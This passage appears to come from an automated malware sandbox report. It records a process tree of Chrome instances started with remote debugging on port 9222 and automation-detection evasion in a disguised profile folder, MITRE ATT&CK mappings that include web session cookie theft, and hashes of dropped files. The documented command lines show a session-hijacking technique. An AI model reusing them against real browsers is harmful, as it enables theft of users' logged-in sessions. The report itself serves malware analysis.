      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5776,i,9435341436172125769,18404931577124086373,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5804 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4780
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5772,i,18290547598553137001,7425065702322278298,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5820 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1172
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6068,i,17055213060731363177,6149139736772241385,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:14
      4⤵
      PID:892
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6100,i,600150179347237845,18141422901265793113,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:14
      4⤵
      PID:2136
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6296,i,11731485529394233431,15294080727399034485,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5052
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5836,i,15667831635795195611,9783569232022005990,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3784
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5872,i,7812894044442291621,7133130379944959151,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5688
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=5920,i,15108211219081305616,15474746763292086445,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:14
      4⤵
      PID:3392
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6660,i,10890945310296429255,17204446463357049678,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=7096 /prefetch:14
      4⤵
      PID:3152
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=5900,i,15933524385618400829,7690093456490168713,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5040
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=7140,i,10588970548530026230,4585132912222386069,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5016 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2020
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6804,i,14254901273602114525,8491864946328920626,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=6796 /prefetch:14
      4⤵
      PID:1412
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6484,i,341481909716482868,8604269977806097052,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=7128 /prefetch:14
      4⤵
      PID:604
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=6756,i,9725119097502587114,10837718714681984127,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=6792 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:788
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=5824,i,17673863433097194548,12981305440901660246,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5004 /prefetch:9
      4⤵
      Uses browser remote debugging
      PID:3856
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=6888,i,6016839374432874549,16557937823428363105,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=6868 /prefetch:9
      4⤵
      Uses browser remote debugging
      PID:892
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --metrics-shmem-handle=4548,i,911733131907388739,10074545019498250798,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=4524 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5364
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --metrics-shmem-handle=6776,i,11111924998164745719,2588516585509256899,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=6020 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4948
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=media.mojom.CdmServiceBroker --lang=en-US --service-sandbox-type=cdm --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6440,i,8716588078146818471,13126625946821217819,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=6636 /prefetch:14
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4580
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --metrics-shmem-handle=5868,i,15519726718458626765,2205434689252942489,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=6664 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3048
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --metrics-shmem-handle=3548,i,13173619175206879313,11579152523760045475,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2044
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --metrics-shmem-handle=6240,i,13154200258285614841,9784808941341615043,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=6388 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:6016
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mute-audio --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6920,i,4186598050403953510,17261675581596507035,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=6960 /prefetch:14
      4⤵
      PID:1824
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mute-audio --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=5908,i,16542559583258954786,15369300047632223164,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=6908 /prefetch:14
      4⤵
      PID:3808
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mute-audio --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=5924,i,12349439341653370766,2486596634631617373,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=4992 /prefetch:14
      4⤵
      PID:2584
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --remote-debugging-port=9222 --disable-gpu-compositing --disable-blink-features=AutomationControlled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --metrics-shmem-handle=5888,i,6130020411133046657,3966184062883512100,2097152 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5464
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=6968,i,14610442973906915132,14918642864177513478,524288 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=7292 /prefetch:12
      4⤵
      PID:712
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222" --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6900,i,8128261751811361689,18018697688057197624,262144 --field-trial-handle=1944,i,14618460946768300308,5112723709399880494,262144 --disable-features=CalculateNativeWinOcclusion,EdgeWelcomeRunFirstRun,msEdgeOnRamp,msEdgeSyncOnboarding,msFirstRunExperience --variations-seed-version --mojo-platform-channel-handle=6744 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3776
- C:\Windows\system32\timeout.exe
  timeout /t 30 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:4480

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Defense Evasion

Modify Authentication Process

T1556

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222\Crashpad\settings.dat
Size 40B
SHA256 9c90e9df8da0514d4a377290fa39c606a67c4c27146c77f815586ba46b3622af
MD5 543cb03a1650d6bcf75b1986e5718251
SHA1 4ce6931ca7a42d222f4647cad35577b0aab1daf9
SHA512 bfdfe29357a3a9105ce9d38ed40b32803a517e6719f13a4b9b3aa2c06b9f80bf2c6bf4e646221e1276b60b3fd96e18b5beba51707c6f939c064bd8ff0ffae07c
MD5 SHA1 SHA512

Submit Download

4f0a09bf-4e36-43ca-9ad5-17391bfef006.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222\Default\4f0a09bf-4e36-43ca-9ad5-17391bfef006.tmp
Size 17KB
SHA256 bfeed718ef9056d5f895b75314f78a2ab77658bb8e9230b9377853d022b35fe0
MD5 0308b1aa9bee63431f060055139e1040
SHA1 d4587f9e04144155f4aada7c4e55438af78b679c
SHA512 26818c852bd70e550286df811d38efdb194227ea7492220b54c6f88a74a81ac2f879494a2d9886244d244cd602e085f8cb43169eabf367463de019b585d34047
SSDEEP 384:lHj7O7KxkXqKf/pUZNCgVLH2HfgslNw7pLuLci3D+XOD7q+ErU3pUHGwVJN:lD7O7KxkXqKf/pUZNCgVLH2HfgsPw7pP
TLSH
T19E72F867684C9E3B0F94C68DDC177E4FADB5014B65ED886883FA582903D5ACF110A2EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 a0fd5e54f2fa1f831f7e6f0fcbedcb22729dd3ecb315a08a0aad0715f9046a1e
MD5 a16d2ab4d09093660e7e0bc17debdaa8
SHA1 7977a6b85d80408f37be33762f5e27869fac2323
SHA512 8c08d19c6f0a26e594bf6010d44fa53683e6f0b0c5d667295b084c4e7e5bb989f0d469f7924754b0aa1485a5613bc2903d1c327edbbef39dcb2678bf7e55f71b
TLSH
T146418220C3D7A833DF343D34B4B97C1B74B054A5C85ADF1B21CA712165532F84CB4811
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 25bf2136e8da05e89e21846e82fc6c7dfcaf58aa2398f26b7f970300a1b1e095
MD5 2dddc084d27e9eb21eecd17cae56eae3
SHA1 b089583e4e70dc277953237d9e1f80bc8e6e9702
SHA512 0ddd8cabea55186b01c0aa872b17dc9e4872ef4837c00c9c0ed5f68d218d0c3a3c2125a20ef41d6a37fe4bb28e004617dc3aa81458ec695a75e12082eec6d891
TLSH
T180412C20C3E3A833DF343E34B4BA7C1BB4A058A2C85ADF1B61CAB16165632F55CB8811
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a18aa.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222\Default\Code Cache\js\index-dir\the-real-index~RFe5a18aa.TMP
Size 48B
SHA256 a5e82006b56caed5c66fff035ce7062965650f021a5e0bfa27ccebd6d50951dc
MD5 fdf68610b77eafd794beba1b6af0eb8a
SHA1 6d46c4ff343d4f59dcec48c57edfeed3a427f28a
SHA512 8350291a8b597d2d65e4367bd7237766531d56cdae30baa3017b36a33ad7e1974a3aecd628c6cc8585f635cca6e1a611fb5897304936907db987e0a637c2d966
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\BrowserMetrics\cdp9222\Default\Code Cache\wasm\index-dir\the-real-index
Size 96B
